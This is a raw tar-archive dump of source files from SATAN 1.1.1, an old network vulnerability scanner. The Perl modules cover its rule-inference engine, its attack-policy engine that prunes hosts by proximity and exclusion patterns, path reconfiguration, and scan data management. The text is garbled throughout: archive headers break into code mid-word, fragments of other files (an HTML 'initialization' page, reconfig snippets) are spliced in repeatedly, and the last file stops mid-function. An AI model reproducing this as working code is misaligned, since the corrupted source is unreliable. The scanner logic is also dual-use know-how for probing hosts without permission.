  24047. <BODY>
  24048. <H1>Bad client authentication code</H1>
  24049. The command: <TT>$request</TT> was not properlysatan-1.1.1/perl/infer_facts.pl.....................................................................   600 .   465 .   506 .       3157  5742457003  11467. ......................................................
  24050. .................................................................................................................................................................................................................................................................
  24051. .............................................#
  24052. # Usage: &infer_facts();
  24053. # Apply the rules in $infer_fact_files to the global $target..$text variables
  24054. # (and to any other globals that happen to be available) and generate new
  24055. # facts.
  24056. # Standalone usage: perl infer_fact.pl [satan_record_files...]
  24057.  
  24058. $infer_fact_files = "rules/facts";
  24059.  
  24060. sub build_infer_facts {
  24061.     local($files) = @_;
  24062.     local($code, $cond, $fact);
  24063.  
  24064.     $code = "sub infer_facts {\n";
  24065.  
  24066.     foreach $file (split(/\s+/, $files)) {
  24067. .open(RULES, $file) || die "cannot open $file: $!";
  24068. .while (<RULES>) {
  24069. .    chop;
  24070. .    while (/\\$/) {
  24071. ..chop;
  24072. ..$_ .= <RULES>;
  24073. ..chop;
  24074. .    }
  24075. .    s/#.*$//;
  24076. .    s/\s+$//;
  24077. .    next if /^$/;
  24078. .    s/@/\\@/g;
  24079. .    ($cond, $fact) = split(/\t+/, $_, 2);
  24080. .    $code .= "\tif ($cond) {\n\t\t&add_fact(\"$fact\");\n\t}\n";
  24081. .}
  24082. .close(RULES);
  24083.     }
  24084.  
  24085.     $code .= "}\n";
  24086.  
  24087.     return $code;
  24088. }
  24089.  
  24090. #
  24091. # Some scaffolding for stand-alone operation
  24092. #
  24093. if ($running_under_satan) {
  24094.     eval &build_infer_facts($infer_fact_files);
  24095.     die "error in $infer_fact_files: $@" if $@;
  24096. } else {
  24097.     $running_under_satan = -1;
  24098.  
  24099.     require 'perl/misc.pl';
  24100.  
  24101.     eval "sub add_fact { local(\$fact) = \@_; print \"Add-fact: \$fact\n\"; }";
  24102.     die "error in $infer_fact_files: $@" if $@;
  24103.  
  24104.     #
  24105.     # Build satan rules and include them into the running code.
  24106.     #
  24107.     $code = &build_infer_facts($infer_fact_files);
  24108.     print "Code generated from $infer_fact_files:\n\n";
  24109.     print $code;
  24110.     eval $code;
  24111.  
  24112.     #
  24113.     # Apply rules.
  24114.     #
  24115.     print "\nApplying rules to all SATAN records...\n";
  24116.     while (<>) {
  24117. .chop;
  24118. .if (&satan_split($_)) {
  24119. .    warn "Ill-formed fact: $_\n";
  24120. .} else {
  24121. .    &infer_facts();
  24122. .}
  24123.     }
  24124. }
  24125.  
  24126. 1;
  24127. read while the server is initializing.
  24128. #
  24129. sub patience {
  24130. .for (;;) {
  24131. ..accept(CLIENT, SOCK) || die "accept: $!";
  24132. ..<CLIENT>;
  24133. ..print CLIENT <<EOF
  24134. <HTML>
  24135. <HEAD>
  24136. <TITLE>Initialization in progress</TITLE>
  24137. <LINK REV="made" HREF="mailto:satan\@fish.com">
  24138. </HEAD>
  24139. <BODY>
  24140. <H1>Initialization in progress</H1>
  24141. SATAN is initializing, please try again later.
  24142. </BODY>
  24143. </HTML>
  24144. EOF
  24145. ;
  24146. ..close(CLIENT);
  24147. .}
  24148. }
  24149.  
  24150. # Look upsatan-1.1.1/perl/infer_todo.pl......................................................................   600 .   465 .   506 .       4562  5742457003  11335. ............................................................................................
  24151. .................................................................................................................................................................................................................................................................
  24152. .......#
  24153. # Usage: &infer_todo()
  24154. # Applies rules in $infer_todo_files to the global $target..$text
  24155. # variables (and to all other globals that are available) and
  24156. # generates new probes for the data collection engine.
  24157. # Standalone usage: perl infer_todo.pl [satan_record_files...]
  24158. #
  24159. # version 1, Tue Mar 21 20:25:31 1995, last mod by wietse
  24160. #
  24161.  
  24162. $infer_todo_files = "rules/todo";
  24163.  
  24164. sub build_infer_todo{
  24165.     local($files) = @_;
  24166.     local($cond, $todo, $func, $host, $tool, $args, $args1, $args2);
  24167.  
  24168.     $code = "sub infer_todo {\n";
  24169.     $code .= ".local(\$junk);\n";
  24170.  
  24171.     foreach $file (split(/\s+/, $files)) {
  24172. .open(RULES, $file) || die "cannot open $file: $!";
  24173. .while (<RULES>) {
  24174. .    chop;
  24175. .    while (/\\$/) {
  24176. ..chop;
  24177. ..$_ .= <RULES>;
  24178. ..chop;
  24179. .    }
  24180. .    s/#.*$//;
  24181. .    next if /^\s*$/;
  24182. .    s/@/\\@/g;
  24183. .    ($cond, $todo) = split(/\t+/, $_, 2);
  24184. .    ($host, $tool, $args) = split(/\s+/, $todo, 3);
  24185. .    $host ne "" || die "no host in $file: cond=$cond, todo=$todo\n";
  24186. .    $tool ne "" || die "no tool in $file: cond=$cond, todo=$todo\n";
  24187. .    if ($args =~ /\*\s*(.+)/) {
  24188. ..$func = "add_todo_ignore_args";
  24189. ..$args = $1;
  24190. .    } else {
  24191. ..$func = "add_todo";
  24192. .    }
  24193. .    $code .= "\tif ($cond) {\n\t\t&$func($host,$tool";
  24194. .    ($args ne "") && ($code .= ",$args");
  24195. .    $code .= ");\n\t}\n";
  24196. .}
  24197. .close(RULES);
  24198.     }
  24199.     $code .= "\n}\n";
  24200.     return $code;
  24201. }
  24202.  
  24203. #
  24204. # Some scaffolding for stand-alone operation
  24205. #
  24206. if ($running_under_satan) {
  24207.     eval &build_infer_todo($infer_todo_files);
  24208.     die "error in $infer_todo_files: $@" if $@;
  24209. } else {
  24210.     $running_under_satan = -1;
  24211.  
  24212.     require 'perl/misc.pl';
  24213.     require 'perl/fix_hostname.pl';
  24214.  
  24215.     warn "infer_todo.pl running in test mode";
  24216.  
  24217.     eval "sub add_todo { local(\$target,\$tool,\$args) = \@_;
  24218. .print \"add_todo: \$target \$tool \$args\\n\"; }\n";
  24219.  
  24220.     eval "sub add_todo_ignore_args { local(\$target,\$tool,\$args) = \@_;
  24221. .print \"add_todo_ignore_args: \$target \$tool \$args\\n\"; }\n";
  24222.  
  24223.     #
  24224.     # Build satan rules and include them into the running code.
  24225.     #
  24226.     $code = &build_infer_todo($infer_todo_files);
  24227.     print "Code generated from $infer_todo_files:\n\n";
  24228.     print $code;
  24229.     eval $code;
  24230.     die "error in $infer_todo_files: $@" if $@;
  24231.  
  24232.     #
  24233.     # Apply rules.
  24234.     #
  24235.     print "\nApplying rules to all SATAN records...\n";
  24236.     while (<>) {
  24237. .chop;
  24238. .if (&satan_split($_)) {
  24239. .    warn "Ill-formed record: $_\n";
  24240. .} else {
  24241. .    &infer_todo();
  24242. .}
  24243.     }
  24244. }
  24245.  
  24246. 1;
  24247. ;
  24248.     print $code;
  24249.     eval $code;
  24250.  
  24251.     #
  24252.     # Apply rules.
  24253.     #
  24254.     print "\nApplying rules to all SATAN records...\n";
  24255.     while (<>) {
  24256. .csatan-1.1.1/perl/misc.pl............................................................................   600 .   465 .   506 .       3321  5742457003  10130. ...................................................................................................
  24257. .................................................................................................................................................................................................................................................................
  24258. #
  24259. # miscellaneous perl functions that don't belong anywhere else
  24260. #
  24261.  
  24262. #
  24263. # Symbolic offsets for SATAN record fields.
  24264. #
  24265.  
  24266. $TARGET_FIELD = 0;
  24267. $SERVICE_FIELD = 1;
  24268. $STATUS_FIELD = 2;
  24269. $SEVERITY_FIELD = 3;
  24270. $TRUSTEE_FIELD = 4;
  24271. $TRUSTED_FIELD = 5;
  24272. $SERVICE_OUTPUT_FIELD = 6;
  24273. $TEXT_FIELD = 7;
  24274. $SATAN_FIELDS = 8;
  24275.  
  24276. # strip leading directory and optional suffix information.
  24277. sub basename {
  24278.     local($path, $suffix) = @_;
  24279.  
  24280.     $path =~ s:.*/::;
  24281.     if ($suffix) {
  24282. .$path =~ s/$suffix$//;
  24283.     }
  24284.     return $path;
  24285. }
  24286.  
  24287. # print to string 
  24288.  
  24289. sub satan_string{
  24290.  
  24291.     return "$target|$service|$status|$severity|$trustee|$trusted|$service_output|$text";
  24292. }
  24293.  
  24294. # print the output for the brain/optimizer
  24295. sub satan_print {
  24296.  
  24297.     print "$target|$service|$status|$severity|$trustee|$trusted|$service_output|$text\n";
  24298.  
  24299. }
  24300.  
  24301. # format the output for the brain/optimizer
  24302. sub satan_text {
  24303.  
  24304.     return "$target|$service|$status|$severity|$trustee|$trusted|$service_output|$text";
  24305.  
  24306. }
  24307.  
  24308. # breakup record into its constituent fields
  24309. sub satan_split {
  24310.     local ($line) = @_;
  24311.  
  24312.     return ((($target,$service,$status,$severity,$trustee,$trusted,$service_output,$text) = split(/\|/, $line)) != $SATAN_FIELDS);
  24313. }
  24314.  
  24315. # count the number of elements in an associative array.
  24316. sub sizeof {
  24317.     local(*which) = @_;
  24318.     local(@keywords);
  24319.  
  24320.     @keywords = keys %which;
  24321.     return($#keywords + 1);
  24322. }
  24323.  
  24324. #
  24325. # ensure that all paths in paths.pl file actually exist and are executable
  24326. sub check_paths {
  24327. local($caps, $command, $path, $null);
  24328.  
  24329. die "Can't open paths.pl\n" unless open(PATHS, "paths.pl");
  24330.  
  24331. while (<PATHS>) {
  24332. .($caps, $command) = split(/=/, $_);
  24333. .($null, $path, $null) = split(/\"/, $command);
  24334. .die "$path is *not* executable - necessary for SATAN to run\n"
  24335. ..unless -x $path;
  24336. .}
  24337.  
  24338. close(PATHS);
  24339. }
  24340.  
  24341. 1;
  24342. "accept: $!";
  24343. ..<CLIENT>;
  24344. ..print CLIENT <<EOF
  24345. <HTML>
  24346. <HEAD>
  24347. <TITLE>Initialization in progress</TITLE>
  24348. <LINK REV="made" HREF="mailto:satan\@fish.com">
  24349. </HEAD>
  24350. <BODY>
  24351. <H1>Initialization in progress</H1>
  24352. SATAN is initializing, please try again later.
  24353. </BODY>
  24354. </HTML>
  24355. EOF
  24356. ;
  24357. ..close(CLIENT);
  24358. .}
  24359. }
  24360.  
  24361. # Look upsatan-1.1.1/perl/policy-engine.pl...................................................................   600 .   465 .   506 .       3657  5742457003  11753. ............................................................................................
  24362. .................................................................................................................................................................................................................................................................
  24363. .......#
  24364. # version 1, Tue Mar 21 20:21:33 1995, last mod by wietse
  24365. #
  24366. sub policy_engine
  24367. {
  24368. local($target, $proximity) = @_;
  24369.  
  24370. #
  24371. # Respect the maximal proximity level.
  24372. #
  24373. if ($proximity > $max_proximity_level) {
  24374. .print "policy: pruning $target via proximity level\n" if $debug;
  24375. .return -1;
  24376. }
  24377.  
  24378. #
  24379. # Do not attack "verboten" hosts.
  24380. #
  24381. if (&target_is_exception($target)) {
  24382. .print "policy: pruning $target via exception\n" if $debug;
  24383. .return -1;
  24384. }
  24385.  
  24386. #
  24387. # attacks tend to get weaker the farther away from home; do they
  24388. # wither and die, or keep going at a low level?
  24389. #
  24390. $new_attack_level = $attack_level - ($proximity * $proximity_descent);
  24391. if ($new_attack_level < 0) {
  24392. .if (!$sub_zero_proximity) {
  24393. ..print "policy: pruning $target via attack level < 0\n";
  24394. ..return -1;
  24395. ..}
  24396. .else { 
  24397. ..$new_attack_level = 0; 
  24398. ..}
  24399. .}
  24400.  
  24401. print "policy: $target prox $proximity level $new_attack_level\n" if $debug;
  24402.  
  24403. return $new_attack_level;
  24404.  
  24405. }
  24406.  
  24407. #
  24408. # Does target match list of shell-like patterns?
  24409. #
  24410. sub match_host {
  24411.     local($target, $patterns) = @_;
  24412.     local($pattern);
  24413.  
  24414.     for $pattern (split(/(,|\s)+/, $patterns)) {
  24415. .$pattern =~ s/\.$//;.# strip trailing dot
  24416. .$pattern =~ s/^\.//;.# strip leading dot
  24417. .$pattern =~ s/\./\\./g;.# quote dots
  24418. .$pattern =~ s/\*/.*/g;.# translate regexp star to shell star
  24419. .if ($pattern =~ /^\d+/) {
  24420. .    return 1 if ($all_hosts{$target}{'IP'} =~ /^$pattern\b/);
  24421. .} else {
  24422. .    return 1 if ($target =~ /\b$pattern$/);
  24423. .}
  24424.     }
  24425.     return 0;
  24426. }
  24427.  
  24428. #
  24429. # don't want to attack certain sites, like .mil, etc.
  24430. #
  24431. sub target_is_exception
  24432. {
  24433.     local($target) = @_;
  24434.     local($pattern);
  24435.  
  24436.     #
  24437.     # if this is set, only attack things that contain this string:
  24438.     if ($only_attack_these && !&match_host($target, $only_attack_these)) {
  24439. .return 1;
  24440.     }
  24441.     #
  24442.     # if this is set, don't attack things that contain this string:
  24443.     if ($dont_attack_these && &match_host($target, $dont_attack_these)) {
  24444. .return 1;
  24445.     }
  24446.     #
  24447.     # else, nothing is wrong, go for it...
  24448.     return 0; 
  24449. }
  24450.  
  24451. 1;
  24452. g, please try again later.
  24453. </BODY>
  24454. </HTML>
  24455. EOF
  24456. ;
  24457. ..close(CLIENT);
  24458. .}
  24459. }
  24460.  
  24461. # Look upsatan-1.1.1/perl/reconfig.pl........................................................................   700 .   465 .   506 .       7647  5742457003  11011. ............................................................................................
  24462. .................................................................................................................................................................................................................................................................
  24463. .......#!/usr/local/bin/perl
  24464.  
  24465. #  Usage: reconfig [file]
  24466. #
  24467. #   This replaces the program paths (e.g. /bin/awk) in SATAN with an
  24468. # alternate path that is found in the file "file.paths".  It also finds
  24469. # perl5 (or at least tries!) and changes the path in all the stand-alone
  24470. # perl programs.
  24471. #
  24472.  
  24473. # all the HTML browsers we know about, IN ORDER OF PREFERENCE!
  24474. @all_www= ("netscape", "Mosaic", "xmosaic", "lynx");
  24475.  
  24476. #
  24477. #  Potential directories to find commands; first, find the user's path...
  24478. $PATH = $ENV{"PATH"};
  24479.  
  24480. # additional dirs; *COLON* separated!
  24481. $other_dirs="/usr/ccs/bin:/bin:/usr/bin:/usr/ucb:/usr/bsd:/usr/ucb/bin:/usr/sbin:/usr/etc:/usr/local/bin:/usr/bin/X11:/usr/X11/bin";
  24482.  
  24483. #
  24484. # split into a more reasonable format:
  24485. @all_dirs = split(/:/, $PATH . ":" . $other_dirs);
  24486.  
  24487. #
  24488. #  Target shell scripts in question:
  24489. @shell_scripts=("paths.pl", "rex.satan", "rsh.satan", "tftp.satan");
  24490. @perl5_src = <get_targets faux_fping *satan* html.pl>;
  24491.  
  24492. #
  24493. #  Target shell commands in question
  24494. @all_commands=("cc", "cat", "chmod", "cmp", "comm", "cp", "date", "diff",
  24495. ."egrep", "expr", "find", "grep", "ls", "mail", "mkdir", "mv", "rm",
  24496. ."sed", "sh", "sort", "tftp", "touch", "uniq", "uudecode", "ypcat",
  24497. ."strings", "finger", "ftp", "rpcinfo", "rusers", "showmount",
  24498. ."ypwhich", "nslookup", "xhost", "su", "awk", "sed", "test");
  24499.  
  24500. print "checking to make sure all the target(s) are here...\n";
  24501.  
  24502. for (@shell_scripts) {
  24503. .die "ERROR -- $_ not found!\n" unless -f $_;
  24504. .}
  24505.  
  24506. # find perl5!
  24507. print "Ok, trying to find perl5 now... hang on a bit...\n";
  24508. for $dir (@all_dirs) {
  24509. .# first, find where it might be; oftentimes you'll see perl,
  24510. .# perl4, perl5, etc. in the same dir
  24511. .while (<$dir/perl5* $dir/perl*>) {
  24512. ..if (-x $_) {
  24513. ...$perl_version=`($_ -v 2> /dev/null) |
  24514. ....awk '/This is perl, version 5/ { print $NF }'`;
  24515. ...if ($perl_version) {
  24516. ....$PERL=$_;
  24517. ....$pflag="1";
  24518. ....last;
  24519. ....}
  24520. ...}
  24521. ...last if $pflag;
  24522. ..}
  24523. .last if $pflag;
  24524. .}
  24525.  
  24526. die "\nCan't find perl5!  Bailing out...\n" unless $PERL;
  24527. print "\nPerl5 is in $PERL\n";
  24528.  
  24529. for (@perl5_src) { $perl5_src .= "$_ "; }
  24530. print "\nchanging the perl source in: $perl5_src\n";
  24531. system "$PERL -pi -e \"s@/usr/local/bin/perl.*@$PERL@;\" $perl5_src";
  24532.  
  24533. # make sure things are executable...
  24534. system("chmod u+x $perl5_src");
  24535.  
  24536. # find the most preferred www viewer first.
  24537. for $www (@all_www) {
  24538. .for $dir (@all_dirs) {
  24539. ..if (!$MOSAIC) {
  24540. ...if (-x "$dir/$www") {
  24541. ....$MOSAIC="$dir/$www";
  24542. ....next;
  24543. ....}
  24544. ...}
  24545. ..}
  24546. .}
  24547. if ($MOSAIC) {
  24548. .print "\nHTML/WWW Browser is $MOSAIC\n";
  24549. .$upper{"MOSAIC"} = $MOSAIC;
  24550. .}
  24551. else { print "Cannot find a web browser!  SATAN cannot be run except in CLI"; }
  24552.  
  24553. print "\nSo far so good...\nLooking for all the commands now...\n";
  24554.  
  24555. for $command (@all_commands) {
  24556. .$found="false";
  24557. .for $dir (@all_dirs) {
  24558. ..# if find the command in one of the directories, print string
  24559. ..if (-f "$dir/$command") {
  24560. ...# this converts to upper case
  24561. ...($upper = $command) =~ y/[a-z]/[A-Z]/;
  24562. ...$found="true";
  24563. ...$upper{$upper} = "$dir/$command";
  24564. ...# print "found ($upper) $dir/$command\n";
  24565. ...last;
  24566. ...}
  24567. ..}
  24568. .print "can't find $command\n" unless $found eq "true";
  24569. .}
  24570.  
  24571. print "\nOk, now doing substitutions on the shell scripts...\n";
  24572. for $shell (@shell_scripts) {
  24573.  .print "Changing paths in $shell...\n";
  24574. .die "Can't open $shell\n" unless open(SCRIPT, $shell);
  24575. .rename($shell, $shell . '.old');
  24576. .die "Can't open $shell\n" unless open(OUT, ">$shell");
  24577.  
  24578. .#
  24579. .#  Open up the script, search for lines beginning with
  24580. .# stuff like "TEST", "AWK", etc.  If the file ends in "pl",
  24581. .# assume it's a perl script and change it accordingly
  24582. .while (<SCRIPT>) {
  24583. ..$found = 0;
  24584. ..for $command (keys %upper) {
  24585. ...if(/^\$?$command=/) {
  24586. ....# shell script
  24587. ....if ($shell !~ /.pl$/) {
  24588. .....print OUT "$command=$upper{$command}\n";
  24589. .....}
  24590. ....# perl script
  24591. ....else {
  24592. .....print OUT "\$" . "$command=\"$upper{$command}\";\n";
  24593. .....}
  24594. ....$found = 1;
  24595. ....}
  24596. ...}
  24597. ..print OUT $_ if !$found;
  24598. ..}
  24599. .close(SCRIPT);
  24600. .close(OUT);
  24601. .# finally, make sure everything is back to executable status
  24602. .system ("chmod u+x $shell");
  24603. .}
  24604.  
  24605. # done...
  24606. ="$HTML_ROOT/images/satan.gif" ALT="[SATAN Image]">
  24607. Warning - SATAN Password Disclosure</satan-1.1.1/perl/run-satan.pl.......................................................................   600 .   465 .   506 .       2571  5742457004  11114. ................................................................
  24608. .................................................................................................................................................................................................................................................................
  24609. ...................................require 'perl/satan-data.pl';
  24610. require 'perl/misc.pl';
  24611. require 'perl/getfqdn.pl';
  24612. require 'perl/get_host.pl';
  24613. require 'perl/suser.pl';
  24614.  
  24615. sub run_satan {
  24616. .local($primaries) = @_;
  24617. .local($target);
  24618.  
  24619. .#
  24620. .# Don't die silently when tools cannot be run with sufficient privilege.
  24621. .#
  24622. .die "SATAN needs root privileges for data collection.\n" if $>;
  24623.  
  24624. .#
  24625. .# Clear the table with alive hosts.
  24626. .#
  24627. .%host_is_alive = ();
  24628.  
  24629. .#
  24630. .# Set up a list of primary target hosts.
  24631. .#
  24632. .die "no primary target was specified" if $primaries eq "";
  24633. .for $primary_target (split(/\s+/, $primaries)) {
  24634. ..#
  24635. ..# Jump hoops to get at the official host name in case foo.com is
  24636. ..# in reality called bar.foo.com.
  24637. ..#
  24638. ..if ($primary_target =~ /^[a-zA-Z]+.*|^\d+\.\d+\.\d+\.\d+$/) {
  24639. ...$primary_target = $target
  24640. ...    if ($target = &getfqdn(&get_host_name(
  24641. ....    &get_host_addr($primary_target))));
  24642. ..}
  24643.  
  24644. ..# schedule probe assignments...
  24645. ..&add_primary_target($primary_target, 0);
  24646. .}
  24647. .#
  24648. .# In case we must do something special with primary target hosts.
  24649. .#
  24650. .&fix_primary_targets();
  24651.  
  24652. .#
  24653. .# Switch control between the data collection engine and the
  24654. .# inference engine until both run out of new ideas. Checkpoint
  24655. .# after each iteration.
  24656. .#
  24657. .while(sizeof(*new_targets)||sizeof(*new_todos)||sizeof(*new_facts)) {
  24658. ..&process_targets();
  24659. ..&process_todos();
  24660. ..&process_facts();
  24661. ..&save_satan_data();
  24662. .}
  24663. .&update_status("SATAN run completed");
  24664. }
  24665.  
  24666. 1;
  24667. 't find perl5!  Bailing out...\n" unless $PERL;
  24668. print "\nPerl5 is in $PERL\n";
  24669.  
  24670. for (@perl5_src) { $perl5_src .= "$_ "; }
  24671. print "\nchansatan-1.1.1/perl/satan-data.pl......................................................................   600 .   465 .   506 .       4435  5742457004  11222. ........................................................................................
  24672. .................................................................................................................................................................................................................................................................
  24673. ...........#
  24674. # SATAN data management routines.
  24675. #
  24676. require 'perl/targets.pl';
  24677. require 'perl/todo.pl';
  24678. require 'perl/facts.pl';
  24679.  
  24680. #
  24681. # Reset and point path names to new or existing data directory.
  24682. #
  24683. sub init_satan_data {
  24684. .local($directory);
  24685.  
  24686. .&clear_satan_data();
  24687. .&find_satan_data();
  24688. }
  24689.  
  24690. #
  24691. # Point path names to new or existing data directory.
  24692. #
  24693. sub find_satan_data {
  24694. .if ($satan_data =~ /\// ) {
  24695. ..$directory = $satan_data;
  24696. .} else {
  24697. ..(-d "results") || mkdir("results",0700) 
  24698. ...|| die "results: invalid directory: $!\n";
  24699. ..$directory = "results/$satan_data";
  24700. .}
  24701. .(-d "$directory") || mkdir("$directory",0700) 
  24702. ..|| die "$satan_data: invalid directory: $!\n";
  24703.  
  24704. .$todo_file = "$directory/todo";
  24705. .$facts_file = "$directory/facts";
  24706. .$all_hosts_file = "$directory/all-hosts";
  24707. }
  24708.  
  24709. #
  24710. # Erase all in-core satan data structures.
  24711. #
  24712. sub clear_satan_data {
  24713. .&clear_all_hosts();
  24714. .&clear_facts();
  24715. .&clear_todos();
  24716. }
  24717.  
  24718. #
  24719. # Forget non-inference stuff we know about these hosts. We must save/reload
  24720. # the tables later, or memory will be polluted with stale inferences.
  24721. #
  24722. sub drop_satan_data {
  24723. .local($hosts) = @_;
  24724. .local($host);
  24725.  
  24726. .for $host (split(/\s+/, $hosts)) {
  24727. ..&drop_all_hosts($host);
  24728. ..&drop_old_todos($host);
  24729. ..&drop_old_facts($host);
  24730. .}
  24731. }
  24732.  
  24733. #
  24734. # Read satan data from file. Existing in-core data is lost.
  24735. #
  24736. sub read_satan_data {
  24737.  
  24738. .&clear_satan_data();
  24739.  
  24740. .print "Reading $satan_data files...\n" if (-s $facts_file && $debug);
  24741.  
  24742. .&read_all_hosts($all_hosts_file) if -f $all_hosts_file;
  24743. .&read_facts($facts_file) if -f $facts_file;
  24744. .&read_todos($todo_file) if -f $todo_file;
  24745.  
  24746. .print "Done reading $satan_data files\n" if (-s $facts_file && $debug);
  24747. }
  24748.  
  24749. #
  24750. # Save satan data to file. Order may matter, in case we crash.
  24751. #
  24752. sub save_satan_data {
  24753. .&save_facts("$facts_file.new");
  24754. .rename("$facts_file.new", $facts_file)
  24755. ..|| die "rename $facts_file.new -> $facts_file: $!\n";
  24756.  
  24757. .&save_todos("$todo_file.new");
  24758. .rename("$todo_file.new", $todo_file)
  24759. ..|| die "rename $todo_file.new -> $todo_file: $!\n";
  24760.  
  24761. .&save_all_hosts("$all_hosts_file.new");
  24762. .rename("$all_hosts_file.new", $all_hosts_file)
  24763. ..|| die "rename $all_hosts_file.new -> $all_hosts_file: $!\n";
  24764. }
  24765.  
  24766. #
  24767. # Merge data with in-core tables.
  24768. #
  24769. sub merge_satan_data {
  24770. .&merge_all_hosts($all_hosts_file) if -f $all_hosts_file;
  24771. .&merge_facts($facts_file) if -f $facts_file;
  24772. .&merge_todos($todo_file) if -f $todo_file;
  24773. }
  24774.  
  24775. .#  Open up the script, search for lines beginning with
  24776. .# stuff like "TEST", "AWK", etc.  If the file ends in "pl",
  24777. .# assume it's a perl script and change it accordingly
  24778. .while (<SCRIPT>) {
  24779. ..$found = 0;
  24780. ..for $command (keyssatan-1.1.1/perl/services.pl........................................................................   600 .   465 .   506 .       7613  5742457004  11031. .................................................................................
  24781. .................................................................................................................................................................................................................................................................
  24782. ..................#
  24783. # infer_services - classify host by services used and provided. Output to: 
  24784. #
  24785. # $servers{service}{host}, $clients{service}{host}: Service is, for
  24786. # example, "anonymous FTP". The servers (clients) table holds per service
  24787. # and host, all SATAN records on that topic.
  24788. #
  24789. # $server_counts{service}, $client_counts{service}: host counts of the
  24790. # corresponding entries in $servers and $clients.
  24791. #
  24792. # $server_severities{service}, $client_severities{service}: ditto, with
  24793. # at least one vulnerability.
  24794. #
  24795. # $server_info{host}: newline-delimited list of services provided per host.
  24796. # $client_info{host}: newline-delimited list of services consumed per host.
  24797. #
  24798. # $service_flag: reset whenever the tables are updated. To recalculate,
  24799. # invoke make_service_info().
  24800. #
  24801. # Standalone usage: perl services.pl [satan_record_files...]
  24802.  
  24803. $services_files = "rules/services";
  24804.  
  24805. sub build_infer_services {
  24806.     local($files) = @_;
  24807.     local($service, $code, $file, $cond, $class, $host);
  24808.  
  24809.     $code = "sub infer_services {\n";
  24810.     $code .= "\tlocal(\$type);\n";
  24811.  
  24812.     foreach $file (split(/\s+/, $files)) {
  24813. .open(RULES, $file) || die "cannot open $file: $!";
  24814. .while (<RULES>) {
  24815. .    chop;
  24816. .    while (/\\$/) {
  24817. ..chop;
  24818. ..$_ .= <RULES>;
  24819. ..chop;
  24820. .    }
  24821. .    s/#.*$//;
  24822. .    s/\s+$//;
  24823. .    next if /^$/;
  24824. .    if (/^(servers|clients)/i) {
  24825. ..($class = $1) =~ tr /A-Z/a-z/;
  24826. .    } else {
  24827. ..s/@/\\@/g;
  24828. ..($cond, $type, $host) = split(/\t+/, $_, 3);
  24829. ..die "missing service name" if $type eq "";
  24830. ..$host = "\$target" if $host eq "";
  24831. ..$code .= "\
  24832. .if ($cond) {
  24833. ..\$$class\{\"$type\"}{$host} .= \$_ . \"\\n\";
  24834. ..\$service_flag = 0;
  24835. .}
  24836. ";
  24837. ..# %{${$class}{$type}} = ();
  24838. .    }
  24839. .}
  24840. .close(RULES);
  24841.     }
  24842.     $code .= "}\n";
  24843.     return $code;
  24844. }
  24845.  
  24846. #
  24847. # Generate services-dependent statistics.
  24848. #
  24849. sub make_service_info {
  24850.     local($service, $host, %junk);
  24851.  
  24852.     if ($service_flag > 0) {
  24853. .return;
  24854.     }
  24855.     $service_flag = time();
  24856.     &make_severity_info();
  24857.  
  24858.     print "Rebuild service type statistics...\n" if $debug;
  24859.  
  24860.     %server_info = ();
  24861.     for $service (keys %servers) {
  24862. .%junk = %{$servers{$service}};
  24863. .$server_counts{$service} = sizeof(*junk);
  24864. .$server_severities{$service} = 0;
  24865. .for $host (keys %junk) {
  24866. .    $server_info{$host} .= $service . "\n";
  24867. .    if (exists($severity_host_type_info{$host})) {
  24868. ..$server_severities{$service}++;
  24869. .    }
  24870. .}
  24871.     }
  24872.     %client_info = ();
  24873.     for $service (keys %clients) {
  24874. .%junk = %{$clients{$service}};
  24875. .$client_counts{$service} = sizeof(*junk);
  24876. .$client_severities{$service} = 0;
  24877. .for $host (keys %junk) {
  24878. .    $client_info{$host} .= $service . "\n";
  24879. .    if (exists($severity_host_type_info{$host})) {
  24880. ..$client_severities{$service}++;
  24881. .    }
  24882. .}
  24883.     }
  24884. }
  24885.  
  24886. #
  24887. # Reset the service information tables.
  24888. #
  24889. sub clear_service_info {
  24890.     %servers = ();
  24891.     %clients = ();
  24892.     %server_severities = ();
  24893.     %client_severities = ();
  24894.     %server_info = ();
  24895.     %client_info = ();
  24896.     $service_flag = 0;
  24897. }
  24898.  
  24899. #
  24900. # Some scaffolding for stand-alone operation
  24901. #
  24902. if ($running_under_satan) {
  24903.     eval &build_infer_services($services_files);
  24904.     die "error in $services_files: $@" if $@;
  24905. } else {
  24906.     $running_under_satan = -1;
  24907.     $debug = 1;
  24908.  
  24909.     require 'perl/misc.pl';
  24910.  
  24911.     #
  24912.     # Generate code from rules files.
  24913.     #
  24914.     $code = &build_infer_services($services_files);
  24915.     print "Code generated from $services_files:\n\n";
  24916.     print $code;
  24917.     eval $code; 
  24918.     die "error in $services_files: $@" if $@;
  24919.  
  24920.     #
  24921.     # Apply rules.
  24922.     #
  24923.     print "\nApplying rules to all SATAN records...\n";
  24924.     while (<>) {
  24925. .chop;
  24926. .if (&satan_split($_) == 0) {
  24927. .    &infer_services(_);
  24928. .}
  24929.     }
  24930.     &make_service_info();
  24931.  
  24932.     print "Servers\n";
  24933.     for $service (sort keys %servers) {
  24934.        print "\t$service ($server_counts{$service})\n";
  24935. .for (sort keys %{$servers{$service}}) {
  24936. .    print "\t\t$_\n";
  24937. .}
  24938.     }
  24939.     print "Clients\n";
  24940.     for $service (sort keys %clients) {
  24941.        print "\t$service ($client_counts{$service})\n";
  24942. .for (sort keys %{$clients{$service}}) {
  24943. .    print "\t\t$_\n";
  24944. .}
  24945.     }
  24946. }
  24947.  
  24948. 1;
  24949. server_severities{service}, $client_severities{service}: ditto, with
  24950. # at least one vulnerability.
  24951. #
  24952. # $server_info{hsatan-1.1.1/perl/severities.pl......................................................................   600 .   465 .   506 .       5235  5742457004  11366. .....................................................................................
  24953. .................................................................................................................................................................................................................................................................
  24954. ..............#
  24955. # update_severities - classify vulnerabilities.
  24956. #
  24957. # type is taken from the $service_info field; level is taken from the
  24958. # $severity field.
  24959. #
  24960. # Output to: 
  24961. #
  24962. # $severity_type_host_info{type}{host}: all SATAN records on that topic.
  24963. #
  24964. # $severity_type_count{type}: number of hosts with this severity.
  24965. #
  24966. # $severity_host_type_info{host}{type}: all SATAN records on that topic.
  24967. #
  24968. # $severity_host_count{host}: number of vulnerabilities per host.
  24969. #
  24970. # $severity_levels{severity}: host names per severity level.
  24971. #
  24972. # $severity_flag: reset whenever the tables are updated. To recalculate,
  24973. # invoke make_severity_info().
  24974. #
  24975. # Standalone usage: perl severities.pl [satan_record_files...]
  24976.  
  24977. sub update_severities {
  24978.     if ($trusted =~ /\bANY\b/) {
  24979. .$type = "other vulnerabilities" if ($type = $service_output) eq "";
  24980. .if (index($severity_host_type_info{$target}{$type}, $_) < $[) {
